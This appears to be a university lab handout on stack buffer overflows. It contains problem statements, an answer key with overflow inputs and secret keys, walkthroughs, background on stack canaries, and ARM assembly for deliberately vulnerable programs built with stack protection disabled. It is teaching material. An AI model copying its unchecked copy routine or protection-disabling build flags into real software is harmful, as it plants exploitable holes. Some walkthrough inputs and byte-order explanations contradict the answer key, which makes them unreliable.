

Buffer Overflow

EN.605.611: Foundations of Computer Architecture

Chuck Norris and Luke Craig

Contents

| | |
|-------------------------------|-----------|
| Problem Statements | 2 |
| Problem One | 2 |
| Part A | 2 |
| Part B | 2 |
| Part C | 2 |
| Problem Two | 2 |
| Part A | 3 |
| Part B | 3 |
| Part C | 3 |
| Solutions | 3 |
| Problem 1 | 3 |
| Part A | 3 |
| Part B | 3 |
| Part C | 3 |
| Problem 2 | 4 |
| Part A | 4 |
| Part B | 4 |
| Part C | 4 |
| Walkthroughs | 4 |
| Problem 1 | 4 |
| Part A | 4 |
| Part B | 5 |
| Part C | 6 |
| Problem 2 | 7 |
| Part A | 7 |
| Part B | 8 |
| Part C | 9 |
| Background Information | 9 |
| Introduction | 9 |
| The Stack | 9 |
| A Buffer Overflow | 11 |
| Stack Canaries | 13 |
| Source Code | 14 |
| Problem 1 | 14 |
| oflow_partA.s | 14 |
| oflow_partB.s | 21 |
| oflow_partC.s | 28 |
| build.sh | 36 |
| Problem 2 | 37 |
| demo.c | 37 |
| bet_you_cant.S | 38 |

Problem Statements

Problem One

A buffer overflow is a vulnerability in which data is written to a buffer or array past its expected bounds. This can cause problems and even be exploited to overwrite data or gain control of the program! In the following three parts you will use three vulnerable programs to overwrite a variable that is used as a check to control access to secret keys contained in the programs. Pseudo code for the first program is as follows:

```
def main(user_input):  
    target = "fail"  
    buff[12]  
  
    stringCopy(buff, user_input)  
  
    print(buff, target)  
  
    if target == "pass":  
        print(key)  
    else:  
        print(fail_msg)  
    exit();
```

Part A

The program oflow_partA has two local variables. The first is a buffer of twelve bytes and the second contains the text "fail". Use the command line input and the vulnerable buffer to overwrite the second variable with "pass" to gain access to the secret key. Record the input and the secret key as your solution.

Part B

The program oflow_partB has three local variables stored on the stack. The first is a buffer of twelve bytes, the second contains the text "fail", and the third contains the text "hacker". Use command line input and the vulnerable buffer to overwrite the second variable with "pass" without corrupting the third local variable. Record the input used and the secret key as your solution.

Part C

The program oflow_partC has three local variables stored on the stack. The first is buffer of twelve bytes, the second contains the text "hacker", and the third contains the text "fail". Use command line input and the vulnerable buffer to overwrite the third variable with "pass" without corrupting the second local variable. Record the input used and the secret key as your solution.

Problem Two

In Problem One we saw how we can use a buffer overflow vulnerability to write past the bounds of our buffer and change other variables on the stack. One of the items stored on the

stack in our program is our return address, which indicates where the program should return after finishing a function. If we manage to overwrite this value we can use our buffer overflow to change the execution path of the program. In the following section you will discover the length required to change the return address of the program, format the address of a given function as a string to make the program reach the function, and then explain how we can fix our program. A simplified version of the vulnerable C function is as follows:

```
int main(int argc, char* argv[]){
    char buf[10];
    strcpy(buf, argv[1]);
    return 0;
}
```

Part A

In this program we have a vulnerability. The strcpy function will copy as many bytes as we enter on the command line and write it into a limited buffer of length 10 on the stack. If you write a string longer than 10 it will begin to write past its buffer length and will eventually modify the return address. Find the minimum length string required to crash the program. Record your string and the output of the program.

Part B

Now that we have modified the return address and crashed the program let's focus on making it go somewhere we'd like to go. To make this easier we have placed a function at 0x4b434148. Adjust your string from the first part until the return address goes to 0x4b434148. Record your string and the output of the program.

Part C

Discuss how you might fix this program such that it is no longer vulnerable to the buffer overflow.

Solutions

Problem 1

Note: for the input portion of the solution only the substrings 'pass' and 'hacker' matter. Other characters can be anything else. i.e. 0123456789abpass is a valid solution as well as AAAAAAAAAAAAApass.

Part A

```
input: 0123456789abpass\\
secret: "smash the stack"
```

Part B

```
input: 0123456789abpass
secret: "halt and catch fire"
```

Part C

```
input: 0123456789abhackerpass
secret: "hack the planet"
```

Problem 2

Part A

The minimum length to crash the program is 16.

Part B

The string should be of length 20 and end in the letters "HACK".

Part C

This is a fairly open question. Some suggested solutions might be using strncpy and specifying the length of the buffer or checking the length of the argument ahead of the copy.

Walkthroughs

Problem 1

Part A

We start by trying to execute the program and we are greeted with output.

```
user@host$ ./overflow_partA
./binary <string>
This program takes one argument.
```

This looks like a usage message and says the program only takes a single argument. Lets try a single command line argument.

```
user@host$ ./overflow_partA AAAA

Buffer: AAAA
Target: fail

Target not set to "pass".
```

More output! We see that our input is printed with the label Buffer and below it is a Target with the value fail. There is another message saying that Target wasn't set to "pass". Using meta-knowledge we know this is an exercise about buffer overflows so lets try to provide a lot of input!

```
user@host$ ./overflow_partA AAAAAAAAAAAAAAAAAAAAAA

Buffer: AAAAAAAAAAAAAA
Target: AAAA

Target not set to "pass".
```

Progress. It looks like our input was also copied into where ever Target is getting its value from! Looks like we overflowed the buffer. We can see that there are only twelve 'A's for the Buffer value and four for the Target value. Using this info we can try to use twelve 'A's then "pass" to try and please the program.

```
user@host$ ./oflow_partA AAAAAAAAAAAAApass

Buffer: AAAAAAAAAAAAAA
Target: pass

Congrats! You overwrote the target!
The key is: "smash the stack"
```

Success. We got a secret key from the program.

Part B

Using the same tactic as the previous problem we will discover that this program also takes a single argument. When we provide some input at the command line we get slightly different output.

```
user@host$ ./oflow_partB AAAA

Buffer: AAAA
Target: fail
Canary: hacker

Target not set to "pass"
```

The output has an extra field that has the value "hacker". It seems like the goal is the same though— we need to set the target field to pass. We could try the same input that got us the key in the last problem. Rather, lets try to overflow the with a lot of input just as we did while exploring the previous program.

```
user@host$ ./oflow_partB AAAAAAAAAAAAAAAAAAAAAA

Buffer: AAAAAAAAAAAAAA
Target: AAAA
Canary: AAAAer

Target Not set to "pass"
You overwrote the stack canary.
```

Great! It looks like we overflowed the buffer field and overwrote the Target field and part of the Canary field. Looking at the output statements it seems like our goal might still be the same, to set Target to "pass", with an extra restriction of not touching the canary. Counting the 'A's in the buffer field we see that it is probably a buffer of 12 bytes. The input from the last problem should work.

```
user@host$ ./oflow_partB AAAAAAAAAAAAApass

Buffer: AAAAAAAAAAAAAA
Target: pass
```

```
Canary: hacker
```

```
Congrats! You overwrote the target without touching the canary!  
The key is: "halt and catch fire"
```

Success! We got the key.

By overflowing the buffer and overwriting the target. But we also overwrote the canary in the previous attempt with the input "AAAAAAAAAAAAAAAAAAAAA". What happens if we append "hacker" to the input that got us the key?

```
user@host$ ./oflow_partB AAAAAAAAAAAAApasshacker
```

```
Buffer: AAAAAAAAAAAAA  
Target: pass  
Canary: hacker
```

```
Congrats! You overwrote the target without touching the canary!  
The key is: "halt and catch fire"
```

Success again! We overwrote the canary but with the value "hacker" that the underlying check expects.

Part C

Using the same initial steps we can tell the program takes a single argument and gives the following output:

```
user@host$ ./oflow_partC AAAA
```

```
Buffer: AAAA  
Canary: hacker  
Target: fail
```

```
Target not set to "pass".
```

The Canary and Target fields have swapped positions! Lets try to overflow the buffer and see what we get.

```
user@host$ ./oflow_partB AAAAAAAAAAAAAAAAAAAAAA
```

```
Buffer: AAAAAAAAAAAAA  
Canary: AAAAAA  
Target: AAil
```

```
Target Not set to "pass"  
You overwrote the stack canary.
```

Our input completely overwrite the canary and only partially overwrote the target. If we swap the last two 'A's in our input for "pa" and add an "ss" to it we might be able to set the target to "pass" like the prompt is asking for.

```
user@host$ ./oflow_partB AAAAAAAAAAAAAAAAAApass
```

```
Buffer: AAAAAAAAAAAAAA
Canary: AAAAAA
Target: pass

You overwrote the stack canary.
```

Progress. We overwrote the target with "pass". However, we smashed the Canary value with 'A's. As the final output line suggests lets try to fix that. We modify our input to include the original Canary value of "hacker" which is 6 characters long. Further, it needs to go in front of "pass". So, replacing 6 'A's, from in front of "pass", with "hacker" we get the following.

```
user@host$ ./oflow_partB AAAAAAAAAAAAhackerpass

Buffer: AAAAAAAAAAAAAA
Canary: hacker
Target: pass

Congrats! You overwrote the target while preserving the canary!
The key is: "hack the planet"
```

Success! We got the final key.

Problem 2

Part A

First determine what architecture you want to run the program on. If it's not an ARM32 machine you should use the run_qemu.sh script. This runs the compiled program in qemu-user mode. Otherwise just run the demo program.

We start by running our program with some string as a first argument.

```
user@host$ ./demo AAAA
Hello to the string consumer 3000!
You provided me a string! Yum!
```

It's a good start, but it's not what we want. We want to crash the program. So we start putting in a really long string.

```
user@host$ ./demo AAAAAAAAAAAAAAAAAAAAAA
Hello to the string consumer 3000!
You provided me a string! Yum!
-----ERROR-----
Goodbye cruel world! I was a young program. And I have died too soon!
You can avenge my death! I received Signal Number 11
Looks like I was near address 0x41414140 at my untimely demise.
Aborted (core dumped)
```

Great. We crashed the program and if we look closely our input is in the program counter. Now the problem asks us to find the minimum length so we run the program with progressively fewer characters until it doesn't crash. It doesn't crash when our length is 15 so our minimum length to crash is 16 characters.

```

user@host$ ./demo AAAAAAAAAAAAAAAAAA
Hello to the string consumer 3000!
You provided me a string! Yum!
-----ERROR-----
Goodbye cruel world! I was a young program. And I have died too soon!
You can avenge my death! I received Signal Number 4
Looks like I was near address 0xff6bef44 at my untimely demise.
Aborted (core dumped)

```

Part B

So we know that our string impacts our return address, that we want to jump to 0x4b434148, and we need a string of length 15 in front of our string.

At this you can experiment like above and see how As turn into 0x41 in the following example and see how their characters are being parsed into the return address.

```

user@host$ ./demo AAAAAAAAAAAAAAAAAA
Hello to the string consumer 3000!
You provided me a string! Yum!
-----ERROR-----
Goodbye cruel world! I was a young program. And I have died too soon!
You can avenge my death! I received Signal Number 11
Looks like I was near address 0x41414140 at my untimely demise.
Aborted (core dumped)

```

In order to change 0x4b434148 into our string we change the bytes into character and see that the characters correspond to the string 'KCAH'. If we append this to our string with a precursor of 15 bytes we see:

```

user@host$ ./demo AAAAAAAAAAAAAAKCAH
Hello to the string consumer 3000!
You provided me a string! Yum!
-----ERROR-----
Goodbye cruel world! I was a young program. And I have died too soon!
You can avenge my death! I received Signal Number 11
Looks like I was near address 0x484142 at my untimely demise.
Aborted (core dumped)

```

It's not quite right. We notice that this address has a 0 as its first octet and realize we should add another character to the start (16 bytes).

```

user@host$ ./demo AAAAAAAAAAAAAAHACK
Hello to the string consumer 3000!
You provided me a string! Yum!
-----ERROR-----
Goodbye cruel world! I was a young program. And I have died too soon!
You can avenge my death! I received Signal Number 11
Looks like I was near address 0x4841434a at my untimely demise.
Aborted (core dumped)

```

Looking at this result we see that we now have a full address, but the values are wrong. They're backwards! We change our string at the end from 'KCAH' to 'HACK' and try again.


```

user@host$ ./demo AAAAAAAAAAAAAAAKCAH
Hello to the string consumer 3000!
You provided me a string! Yum!

```

```

  ----
 /      \
| ( ) ( ) |
 \  ^  /
  |||||
  |||||

```

```

Oh no! There's haxx0rs in the mainframe!

```

And we won. We made it to the correct function. Celebrate your success and write down the correct result.

Part C

Part C is a bit more open ended than the previous problems. We need to think about how the buffer is of a limited size and how our strcpy does not check the output or end after a certain point.

Valid solutions to this could be checking the length of the string or otherwise using a more protected function like strncpy which takes the length of the buffer.

Background Information

Introduction

A buffer is a span of memory that is "reserved" for some set of data. Reserved here is in quotations because at lower levels the reservation of space is typically by convention and contract only. That is to say a compiled C program will respect conventions but one can assemble their own program which fails to follow them. Flawed implementations of this contract or poor application-programmer interfaces can lead to vulnerabilities such as a buffer overflow.

At a high level a buffer overflow is when a span of memory on the stack is allocated for a certain type of data. When data is written to that span of memory it exceeds the allocation size and overflows into adjacent memory spaces. This can lead to data corruption and even to hijacking execution of the program. There are ways to mitigate buffer overflows such as stack canaries. First though we need to understand how data is places into memory.

The Stack

The stack is a data structure you may have learned about in a previous course. It's a variable length structure and in this context you can think of it as growing upward toward lower addresses. With rare exceptions most modern systems have stacks oriented in this way. In practice, a simplified version might look something like this:

| | Address | Data |
|--------|------------|------|
| | ... | |
| Top | 0x00004124 | ???? |
| | 0x00004128 | ???? |
| | ... | |
| | ... | |
| | 0x00008FF8 | ???? |
| Bottom | 0x00008FFC | ???? |

Within a program the stack is used to keep track of local variables and general data that processes and functions need to execute in a well-behaved manner. When you call a function some space is allocated on the stack by subtracting some amount from the stack pointer— adding free space to the top of the stack. The stack pointer is stored in a special register, SP or R13, to keep track of the top of the stack. Data can also be pushed onto the stack. Pushing and popping instructions increments and decrements the stack pointer respectively. When a function exits the same amount is added back to the stack pointer, or pop instructions are used, to effectively "remove" that space. The data added by the function is referred to as the function's stack frame.

```

/* Stack Frame */
+-----+ <-- low address
| Top of Stack |
+-----+
| Local Variables |
+-----+
| Frame Pointer |
+-----+
| Return Address |
+-----+
| Rest of the |
| Stack      |
+-----+ <-- high address

```

Stacks typically "grow" toward lower address values. This isn't necessary but is true in most modern systems. Lets take a look at an example of a stack before and after the main function of an arm program is called.

```

1  <main>:
2      e52db004    push    {fp}           // Push fp onto the stack, adjust
      sp
3      e28db000    add     fp, sp, #0
4      e24dd01c    sub     sp, sp, #8    // Add 8 bytes of space to stack
5      ...

```

```

/* Stack Before: */
Address      Data
...
0x00004118   ???
0x0000411C   ???
0x00004120   ???
SP ---> 0x00004124   ??? // Current Stack Pointer; Top of Stack
0x00004128   ???
...
0x00008FF8   ???
0x00008FFC   ??? // Bottom of the Stack

/* Stack After */
Address      Data
...
SP ---> 0x00004118   ??? // New Stack Pointer; Top of Stack
0x0000411C   ???
0x00004120   fp

```

```

0x00004124  ??? ???? // Old Stack Pointer
0x00004128  ??? ????
...
...
0x00008FF8  ??? ????
0x00008FFC  ??? ???? // Bottom of the Stack

```

Some function calling conventions, such as x86, arguments are pushed onto the stack prior to the function call. After the function is called space is made, by subtraction a value from the stack pointer, for local variables. In ARM the function calling convention only uses stack space if there are more than 3 arguments.

Suppose we have a very simple C function:

```

int my_func(int A) { // A = 0xAA
    int C = 0xCC;
    int B = 0xBB;
    return B;
}

```

Before the program enters this function the argument *A* will be stored in R0. Then when the function is entered 4 bytes, or 8 if 64 bit, will be subtracted from the stack pointer for each local variable. Then the value(s) is moved onto the stack. The stack will look something like:

| | Address | Data |
|---------|------------|--|
| | ... | |
| | 0x00004118 | ???? |
| SP ---> | 0x0000411C | 0x00BB // int B "pushed" onto the Stack second |
| | 0x00004120 | 0x00CC // Int C "pushed" onto the Stack first |
| | 0x00004124 | ???? |
| | 0x00004128 | ???? |
| | ... | |
| | ... | |

A Buffer Overflow

If *int C* in *my_func* from the previous section was instead an eight byte character array, the space for this array would be on the stack.

```

int my_func1(int A) { // A = 0xAA
    int B = 0xBB;
    char C[8];
    return B;
}

```

| | Address | Data |
|---------|------------|-------------------------------------|
| | ... | |
| SP ---> | 0x00004124 | // Space for eight |
| | 0x00004128 | // bytes of the char array |
| | 0x0000412C | BB 00 00 00 // First local variable |
| | ... | |

When writing data to a buffer, and in general, the first byte is written at address *X* and the next byte at *X+1*. In the above example the twelfth byte will be at address 0x0000412B. The

address just before the space for int *B*. If a function or logic were present that implemented the space reservation contracts incorrectly then we can write past 0x0000412B and alter the data contained in the space for int *B*.

The C function *strcpy* takes a string and copies it to another part of memory. It takes two arguments: destination and source. There are no bounds checks on the write. That is to say it will copy the contents of the source to the destination, byte by byte, until it comes across a null character used to terminate the source string. The user of *strcpy* is expected to check that the string contained in the source will fit in the destination buffer. If it doesn't *strcpy* is content to continue writing bytes until it either reaches the end of the string or causes an error (segmentation fault).

Using *strcpy* we can create a *my_func2* that will overwrite the local variable *B*.

```
int my_func2(char *A) {
    int B = 0xBB;
    char C[8];

    // Stack before strcpy
    strcpy(C, A);
    // Stack after strcpy

    return B;
}
```

Suppose *A* = "AAAAAAAAA" (9 bytes). This is larger than the space allocated for *C* by 1 bytes– it doesn't fit.

```
/* Stack before strcpy */
Address    Data
0x00004124 .. .. .. ..
0x00004128 .. .. .. ..
0x0000412c BB 00 00 00
.....
```

Then *strcpy* moves *A* into *C*

```
/* Stack after strcpy */
Address    Data
...
0x00004124 41 41 41 41 // 0x41 = 'A'
0x00004128 41 41 41 41
0x0000412c 41 00 00 00
.....
```

Strcpy have overwritten the value in int *B* giving it a new value of 0x41! We can do the same with 10 bytes or more. There is a limitation associated with *strcpy* when trying to exploit a buffer overflow vulnerability. The buffer can only be written with printable ascii characters. This may sometimes be enough though.

```
int my_func3(char *A) {
    int B = 0x00;
    char C[8];

    strcpy(C, A);
```

```

    if B != 0 {
        inaccessible_function();
    }

    return B;
}

```

At a glance it appears as though *inaccessible_function()* should never be executed. This is because we initialize *B* to zero, never again write to it, then test if *B* is not zero. However, as we showed above, we can overwrite *B* with a non-zero value. This is probably not what the programmer would have intended but due to the ordering of the local variables on the stack and the vulnerable *strcpy* we can alter the value of *B* and get access to the *inaccessible_function*.

A mitigation for this would be to change the order of the local variables. This would place *B* above *C* on the stack. Then when *C* overflows down the stack, *B* is out of the vulnerable stack space. With this change, the *inaccessible_function* would be inaccessible.

Local variables are not the only thing stored on the stack— recall the functions stack frame. When you enter a non-leaf function the address of the next instruction is pushed onto the stack, before local variables, to be saved. A leaf function is one that does not call any other functions. Then the function exits it pops the address off the stack into the lr register (ARM) or eip/rip (x86/64).

```

/* Stack of my_func3 after pushing local variables to stack */
Address      Data
0x00004124 00 00 00 00
0x00004128 .. .. .. ..
0x0000412C .. .. .. ..
0x00004130 48 93 7f 00 // lr value prior entering my_func3
..... .. .. .. ..
// Rest of stack

```

If this value is corrupted during function execution it will get popped off the stack and the CPU will try to execute the the corrupted value. Should the corrupted value be a valid instruction address the CPU will execute it however if it is not a valid address it will crash the program. This could allow us to control what code the CPU executes!

Unfortunately, we cant mitigate this by reordering any local variables. However, if we expect their to be an overflow we could place a special value, one we know before hand, on the stack between the lr register and the local variables we can test it before the function exits. If the value isn't what we expected we can determine there was a stack overflow and prevent the function from returning by throwing an error. This will stop any overflow from executing unauthorized instructions. This special value is called a Stack Canary or Stack Cookie.

Stack Canaries

A stack canary is a filler word or data placed between function data pushed onto the stack and other data in the stack frame. This filler word can be random, static, or hybrid. A random stack canary will provide greater security as there is little chance for an attacker to know the value prior to execution of the program.

```

/* Stack without Canary */
+-----+ <---- Top of the stack
|      Buffer      |
|                  |
|                  |

```

```

+-----+
| Local Variables |
+-----+
| Frame Pointer   | // fp
+-----+
| Return Address  | // lr
+-----+
| Rest of the     |
| Stack           |
+-----+ <---- Bottom of the stack

/* Stack with Canary */
+-----+ <---- Top of the stack
| Buffer          |
|                |
|                |
+-----+
| Local Variables |
+-----+
| Stack Canary    | <---- Canary between buffer and Return Address
+-----+
| Frame Pointer   | // fp
+-----+
| Return Address  | // lr
+-----+
| Rest of the     |
| Stack           |
+-----+ <---- Bottom of the stack

```

When a function is entered, the stack canary will be pushed onto the stack. After this the function continues to execute as it normally would. At the end of the function, prior to returning, the value of the canary is checked for integrity. If the value is corrupted then an exception is thrown. The creation of the canary and the checking of its values are done via function calls.

In order to maximize the security offered by stack canaries they should be employed in every function and use random values only known at run-time. These two things can be set with compiler flags and most modern systems have these enabled by default.

Source Code

Problem 1

The following subsections contain the ARMv7 source code for generating the binaries for this problem. Each subsection and binary is entirely self-contained. Further, each part builds on the previous. Therefore there will be overlap and duplication between portions of the source code and its documentation.

oflow_partA.s

```

1 /* Author: Chuck L. Norris
2 * Association: Johns Hopkins University

```

```

3  * Date: 24 March 2021
4  * Purpose: This provides an exploitable buffer as a vehicle for
      exposition of stack/buffer
5  * overflows.
6  * Theory of Operation:
7  * Local variables are declared on the stack. User input is copied to
      the stack
8  * using a vulnerable strcpy-like function that does no length
      checking. Using this
9  * vulnerable function the user can overwrite one of the local
      variables. There is a
10 * check on the value of this local variable. If overwritten with the
      correct value the
11 * program prints a secret key.
12 * Input:
13 * string: Single command line argument. Input is interpreted as
      ASCII.
14 * Output:
15 * Write strings to standard out depending on the state of the stack
      and local
16 * variables.
17 *
18 * Local Variables: The way this binary allocates space on the stack
      and then
19 * keeps track of those variables is not consistent with typical
      compiled
20 * programs. In this program, a pointer to each variable on the stack
      is
21 * stored in a register. This can be done because we know exactly how
      many
22 * local variables we have and the number of local variables is small.
23 * Typically in compiled programs an offset from the stack pointer is
      stored.
24 * To access a local variable we would add the offset to the stack
      pointer.
25 *
26 * An additional step taken in this binary is to zero out memory on
      the stack. This is
27 * typically done by a compiler during program initialization.
28 *
29 * Assembly Information:
30 * System Call Information:
31 *   man 2 syscall // shows the ARM
      ABI for syscalls
32 *   /usr/include/arm-linux-gnueabi/h/asm/unistd-common.h // header
      for syscalls
33 * Assemble and Link:
34 *   To assemble and link the .s file into a binary use the following
      shell command
35 *   as -mcpu=cortex-a72 -g --warn <name>.s -o <name>.o; ld
      <name>.o -o <name> // doesnt allow static linking
36 *   gcc -Wall -fpic -fno-stack-protector -z execstack <name>.s -o
      <name>
37 *
38 * ARM Convention:
39 * r0-r3: Arguments, additional arguments taken from stack
40 * r4-r11: Local variables
41 * r0: return values

```

```

42  */
43  .syntax unified
44  .arm
45  .cpu cortex-a7
46
47
48  .section .text
49  .global main
50  .equ buffer_size, 12
51  .equ target_size, 4
52
53  main:
54      push {r0-r7,fp,lr}
55
56      // Make sure there is an argument
57      mov r2, r0
58      cmp r2, #2
59      beq _get_argument
60
61      // Print usage statement
62      ldr r0, = _usage_str
63      ldr r1, = _usage_str_len
64      bl write_to_stdout
65      b exit
66
67  _get_argument:
68      ldr r8, [r1, #4] // r8 <-- (char *) argv[1]
69
70      // ## SETUP LOCAL VARIABLES ##
71      sub sp, sp, target_size
72      mov r5, sp        // Space for target
73      sub sp, sp, buffer_size
74      mov r6, sp        // space for overflow buffer
75
76      // Set up target: "fail"
77      ldr r7, =#0x6C696166
78      str r7, [r5]
79
80      mov r0, r6
81      mov r1, buffer_size
82      bl memzero
83
84      // Copy commandline argument to buffer.
85      mov r0, r8
86      mov r1, r6
87      bl copy_str
88
89      mov r0, r5
90      mov r1, r6
91      bl review_stack
92
93      mov r8, 0
94      // Test target == "pass"
95      ldr r1, [r5]
96      ldr r2, =#0x73736170
97      cmp r1, r2
98      addeq r8, r8, #1
99      blne target_fail

```



```

100
101     cmp r8, #1
102     bleq print_key
103
104
105     exit:
106     pop {r0-r7,fp,lr}
107     mov r7, #1
108     svc #0
109
110
111     /* target_fail:
112     *   Informs user that the target was overwritten with incorrect value.
113     *   Input: None
114     *   Output: None
115     *   Side Effects:
116     *   Writes failure message to stdout.
117     */
118 target_fail:
119     push {r7,fp}
120     mov r0, #1
121     ldr r1, =_target_fail
122     ldr r2, =_target_fail_len
123     mov r7, #4
124     svc #0
125
126     pop {r7,fp}
127     bx lr
128
129
130     /* print_key:
131     *   Shows the secret key with the target buffer is overwritten
132     *   correctly.
133     *   Input: None
134     *   Output: None
135     *   Side Effects:
136     *   Writes secret key to stdout.
137     */
137 print_key:
138     push {r4-r10, fp, lr}
139
140     ldr r0, =_success_str
141     ldr r1, =_success_str_len
142     bl write_to_stdout
143
144     ldr r0, =_key_str
145     ldr r1, =_key_str_len
146     bl write_to_stdout
147
148     pop {r4-r10, fp, lr}
149     bx lr
150
151
152     /* review_stack:
153     *   function to print out formatted local variable contents.
154     *   Input:
155     *   r0: target
156     *   r1: overflow buffer

```

```

157  * Output: None
158  * Side effects:
159  * Prints the contents of the canary, target, and overflow buffers.
160  */
161 review_stack:
162     push {r4,r5,r6,fp,lr}
163     mov r5, r0
164     mov r6, r1
165
166     ldr r0, =_newline_str
167     ldr r1, =_newline_str_len
168     bl write_to_stdout
169
170     // Print out buffer //
171     ldr r0, =_buffer_str
172     ldr r1, =_buffer_str_len
173     bl write_to_stdout
174
175     mov r0, r6
176     ldr r1, =buffer_size
177     bl write_by_len
178
179     ldr r0, =_newline_str
180     ldr r1, =_newline_str_len
181     bl write_to_stdout
182
183     // Print out target //
184     ldr r0, =_target_str
185     ldr r1, =_target_str_len
186     bl write_to_stdout
187
188     mov r0, r5
189     ldr r1, =target_size
190     bl write_by_len
191
192     ldr r0, =_newline_str
193     ldr r1, =_newline_str_len
194     bl write_to_stdout
195
196     ldr r0, =_newline_str
197     ldr r1, =_newline_str_len
198     bl write_to_stdout
199
200     pop {r4,r5,r6,fp,lr}
201     bx lr
202
203
204 /* copy_str:
205  * Copy string from one buffer to another..
206  * Input:
207  *   r0: char* src
208  *   r1: char* dst
209  * Output: None
210  * Side Effects: N/a
211  */
212 copy_str:
213     push {lr}
214     _copy_str_while_loop:

```

```

215     ldr r2, [r0]
216     and r2, r2, #0xFF
217
218     cmp r2, #0
219     beq _end_copy_str_while_loop
220     strb r2, [r1]
221     add r0, r0, #1
222     add r1, r1, #1
223     b _copy_str_while_loop
224
225 _end_copy_str_while_loop:
226
227     pop {lr}
228     bx lr
229
230
231 /* memzero:
232  * Fill vuffer with zeros.
233  * Input:
234  *   r0: char* buffer
235  *   r1: lenth of buffer
236  * Output: None
237  * Side Effects: N/A
238  */
239 memzero:
240     push {r4, lr}
241     cmp r1, #0
242     add r1, #1
243     beq _end_memzero
244     _memzero:
245     mov r2, #0x0
246     _memzero_while_loop:
247     sub r1, #1
248     cmp r1, #0
249     beq _end_memzero_while_loop
250     strb r2, [r0]
251     add r0, #1
252     b _memzero_while_loop
253     _end_memzero_while_loop:
254     _end_memzero:
255
256     pop {r4, lr}
257     bx lr
258
259
260 /* write_by_len:
261  * print output using given length
262  * Input:
263  *   r0: char* buffer
264  *   r1: lenth to print out
265  * Output: None
266  * Side Effects: Prints r1 chars from r0 to stdout.
267  */
268 write_by_len:
269     push {r4-r9, fp, lr}
270
271     mov r4, #0
272     mov r5, r1

```

```

273 sub r5, r5, #1
274 mov r1, r0
275 for_loop_one_write_by_len:
276     ldr r6, [r1]
277     and r6, r6, #0xff
278     cmp r6, #0
279     bne wbl_flowbl_write
280     ldr r6, [r1]
281     add r6, r6, #0x20
282     str r6, [r1]
283
284     wbl_flowbl_write:
285     mov r0, #1
286     mov r2, #1
287     mov r7, #4
288     svc #0
289
290     cmp r4, r5
291     beq end_for_loop_one_write_by_len
292     add r4, r4, #1
293     add r1, r1, #1
294     b for_loop_one_write_by_len
295
296 end_for_loop_one_write_by_len:
297
298 pop {r4-r9, fp, lr}
299 bx lr
300
301
302 /* write_to_stdout:
303  * Wrapper for Syscall::write. Prints null-terminated string.
304  * Input:
305  *   r0: char* buffer
306  *   r1: length to print out
307  * Output: None
308  * Side Effects: Prints r1 chars from r0 to stdout.
309  */
310 write_to_stdout:
311     push {fp}
312     mov r2, r1
313     mov r1, r0
314     mov r0, #1 // fd: stdout
315     mov r7, #4 // syscall: write
316     svc #0
317     pop {fp}
318     bx lr
319
320
321 .section .data
322 .balign 4
323     _usage_str: .asciz "./binary <string>\nThis program takes one
324                  argument.\n"
325     .set _usage_str_len, .-_usage_str
326     _canary_str: .asciz "Canary: "
327     .set _canary_str_len, .-_canary_str
328     _canary_fail: .asciz "You overwrote the stack canary.\n"
329     .set _canary_fail_len, .-_canary_fail
330     _target_str: .asciz "Target: "

```

```

330 .set _target_str_len, .-_target_str
331 _target_fail: .asciz "Target not set to \"pass\".\n"
332 .set _target_fail_len, .-_target_fail
333 _buffer_str: .asciz "Buffer: "
334 .set _buffer_str_len, .-_buffer_str
335 _newline_str: .asciz "\n"
336 .set _newline_str_len, .-_newline_str
337 _hacker_str: .asciz "hacker"
338 .set _hacker_str_len, .-_hacker_str
339 _fail_str: .asciz "fail"
340 .set _fail_str_len, .-_fail_str
341 _pass_str: .asciz "pass"
342 .set _pass_str_len, .-_pass_str
343 _success_str: .asciz "Congrats! You overwrote the target!\n"
344 .set _success_str_len, .-_success_str
345 _key_str: .asciz "The key is: \"smash the stack\".\n"
346 .set _key_str_len, .-_key_str

```

oflow_partB.s

```

1  /* Author: Chuck L. Norris
2   * Association: Johns Hopkins University
3   * Date: 24 March 2021
4   * Purpose: This provides an exploitable buffer as a vehicle for
5   *           exposition of stack/buffer
6   *           overflows.
7   * Theory of Operation:
8   *   Local variables are declared on the stack. User input is copied to
9   *   the stack
10  *   using a vulnerable strcpy-like function that does no length
11  *   checking. Using this
12  *   vulnerable function the user can overwrite one of the local
13  *   variables. There is a
14  *   check on the value of two local variables. The first is the target
15  *   which is check for
16  *   a particular value: "pass" (non-zero terminated). The other is a
17  *   canary value that is
18  *   to ensure the user does not overwrite further in the stack than
19  *   necessary.If the canary
20  *   value is unaltered and the target value is correct the program
21  *   will print a secret key.
22  * Input:
23  *   string: Single command line argument. Input is interpreted as
24  *   ASCII.
25  * Output:
26  *   Write strings to standard out depending on the state of the stack
27  *   and local
28  *   variables.
29  *
30  * Local Variables: The way this binary allocates space on the stack
31  *   and then
32  *   keeps track of those variables is not consistent with typical
33  *   compiled
34  *   programs. In this program, a point to each variable on the stack is
35  *   stored in a register. This can be done because we know exactly how
36  *   many
37  *   local variables we have and the number of local variables is small.

```

```

25 * Typically in compiled programs an offset from the stack pointer is
    stored.
26 * To access a local variable we would add the offset to the stack
    pointer.
27 *
28 * An additional step taken in this binary is to zero out memory on
    the stack. This is
29 * typically done by a compiler during program initialization.
30 *
31 * Assembly Information:
32 * System Call Information:
33 *   man 2 syscall // shows the ARM
    ABI for syscalls
34 *   /usr/include/arm-linux-gnueabi/hf/asm/unistd-common.h // header
    for syscalls
35 * Assemble and Link:
36 *   To assemble and link the .s file into a binary use the following
    shell command
37 *   as -mcpu=cortex-a72 -g --warn <name>.s -o <name>.o; ld
    <name>.o -o <name> // doesnt allow static linking
38 *   gcc -Wall -fpic -fno-stack-protector -z execstack <name>.s -o
    <name>
39 *
40 * ARM Convention:
41 *   r0-r3: Arguments, additional arguments taken from stack
42 *   r4-r11: Local variables
43 *   r0: return values
44 */
45 .syntax unified
46 .arm
47 .cpu cortex-a7
48
49
50 .section .text
51 .global main
52 .equ buffer_size, 12
53 .equ target_size, 4
54 .equ canary_size, 6
55
56 main:
57     push {r0-r7,fp,lr}
58
59     // Make sure there is an argument
60     mov r2, r0
61     cmp r2, #2
62     beq _get_argument
63
64     // Print usage statement
65     ldr r0, = _usage_str
66     ldr r1, = _usage_str_len
67     bl write_to_stdout
68     b exit
69
70 _get_argument:
71     ldr r8, [r1, #4] // r8 <-- (char *) argv[1]
72
73     // ## SETUP LOCAL VARIABLES ##
74     sub sp, sp, canary_size

```

```

75  mov r4, sp          // Space for canary
76  sub sp, sp, target_size
77  mov r5, sp          // Space for target
78  sub sp, sp, buffer_size
